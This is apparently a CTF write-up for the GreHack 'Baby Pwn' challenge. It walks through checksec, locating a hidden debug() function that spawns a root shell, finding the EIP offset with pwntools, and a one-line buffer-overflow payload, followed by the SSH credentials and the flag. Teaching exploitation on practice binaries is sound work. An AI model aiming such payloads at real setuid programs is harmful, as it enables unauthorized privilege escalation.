Introduction

This year again, I was happy to be part of the organization committee for the GreHack conference and I created some challenges for the CTF. Organization was tricky this year, given that we had grown and sold almost 3x as many tickets as in previous years. Thanks to all the participants, organizers and sponsors, the event was once again complety insane 🔥 💚

Challenge

  • Name : Baby Pwn
  • Category : Pwn / Intro
  • Difficulty : Very Easy
  • Solves : 21
  • Points : 50
  • Author : Nishacid

Guess what? GreHack Corp has developed the first binary to print a magnificent ascii-art of our little ghost! Incredible, isn’t it? Check it out with this SSH connection:

Solve

We’re told that GreHack Corp has developed the first binary capable of printing ascii-art from their little ghost. So we have an SSH server on IP tcp0.infra.ctf.grehack.fr on port 10020 with username and password :

  • Username : baby
  • Password : luV8GgeNzLmi8uERa7

You log in and can launch the famous binary :

Note that the binary is a 32-bit file and that the file is an ELF file, so you can execute it. The binary is waiting for user input.

We can run a checksec to look at the binary’s various protections:

» checksec --file=baby 
ELF32: | 
Canary: false 
CFI: false 
SafeStack: false 
Fortify: false 
Fortified:  0 
NX: false 
PIE: None 
Relro: Full    
RPATH: None 
RUNPATH: None | 
File: baby

We can see that the binary has no special protections and that no protection is activated, which means that memory addresses are fixed. We can confirm this with readelf, because if we run it several times, we can see that the main address is always the same.

Analyzing the binary code in baby.c, we notice the debug() function, which launches a debug mode and the /bin/ash process as root, given that the binary’s permissions are -rwsr-xr-x.

void debug(){
    setreuid(geteuid(), geteuid());
    printf("Debug mode enabled\n");
    system("/bin/ash");
}

To launch debug mode, we’ll need to overwrite EIP with the address of the debug() function, as this is never called in the code. We can use readelf to retrieve the address of the debug() function:

» readelf -s baby | grep -i debug
    27: 08049205    85 FUNC    GLOBAL DEFAULT   11 debug

We can then run the binary in debug mode with GDB to find the offset that will overwrite EIP. To do this, we’ll use the cyclic function in the pwntools library, which generates a single payload of variable size to find our way around the stack.

» python3 -c 'from pwn import *; print(cyclic(200).decode())'

aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
» gdb ./baby

We see that gdb displays an error saying that it can’t find the address 0x61676161 in the stack, which is normal since it’s a random address.

We can then run cyclic_find with the previously found address as argument, and see that the offset is 22.

» python3 -c 'from pwn import *; print(cyclic_find(0x61676161))'
22

So we have our 22 offset and our debug() function address: 0x08049205.

We can then write our payload :

» (python3 -c 'import sys;sys.stdout.buffer.write(b"a"*22+b"\x05\x92\x04\x08")' && cat) | ./baby
  • Flag : GH{m4yb3_th1S_Is_y0uR_f1rsT_biN4ry_pWn3d}

Resources